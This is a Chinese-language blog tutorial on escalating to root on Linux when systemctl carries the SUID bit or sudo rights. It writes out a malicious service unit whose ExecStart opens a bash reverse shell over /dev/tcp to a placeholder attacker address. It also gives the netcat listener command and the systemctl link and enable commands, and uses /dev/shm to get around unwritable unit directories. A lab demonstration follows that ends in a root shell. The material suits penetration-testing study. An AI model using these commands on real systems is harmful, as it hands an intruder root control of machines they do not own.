systemctl是用于管理systemd的命令行工具。当systemctl被配置SUID权限时,是可以通过创建.service文件实现权限提升的。
systemd介绍
https://haslet007.top/2025/03/21/linux-systemd/

此处未设置SUID,设置SUID显示为-rwsr-xr-x
当systemctl具备suid
位或sudo
权限时,可以用来进行提权。
- 确认systemctl是否具有
SUID
权限
ls -l /bin/systemctl
- 符合条件就编写一个service unit用来被systemctl加载
echo '[Service]
Type=oneshot
ExecStart=/bin/bash -c "/bin/bash -i > /dev/tcp/x.x.x.x/xxx 0>&1 2<&1"
[Install]
WantedBy=multi-user.target' > mm.service
#生成的unit名为mm.service
- 把unit放置在合适的位置
通常unit存放在/usr/lib/systemd/system/
和 /etc/systemd/system/
,可以被systemctl加载执行,但是渗透过程中需要提权的场景往往权限较小,这些目录不可写。而systemctl的特性决定了,当unit在/tmp目录下时,无法被systemctl加载。这里需要掌握一个神奇的目录:/dev/shm/,关于这个目录的解读可以移步:https://www.cnblogs.com/tinywan/p/10550356.html学习掌握。这里就可以把我们生成的unit文件放置再这个目录
- 攻击机上启动监听
nc -lvnp 9999
- 被攻击机器执行下列命令启动我们写好的service unit
systemctl link /dev/shm/mm.service
systemctl enable --now /dev/shm/mm.service
过程演示
由于SUID(Set User ID)权限允许普通用户以拥有者的身份执行程序。在
systemctl
的情况下,这意味着普通用户可以以root权限执行系统命令,这会带来严重的安全风险。所以大部分主机的systemctl
都未设置SUID
,故我们手动给systemctl
配置SUID
- 切换到
root
用户
sudo su
- 设置
SUID
权限
chmod u+s /bin/systemctl
- 确认权限是否生效
ls -l /bin/systemctl

如上图所示已经将systemctl
设置为SUID
权限
- 写出service unit

- 移动到
/dev/shm/

- KALI开启监听

- 受害机执行启动命令

- 成功反弹
root
的Shell

通告:SUID提权&SUDO提权概述 – Haslet‘s Blog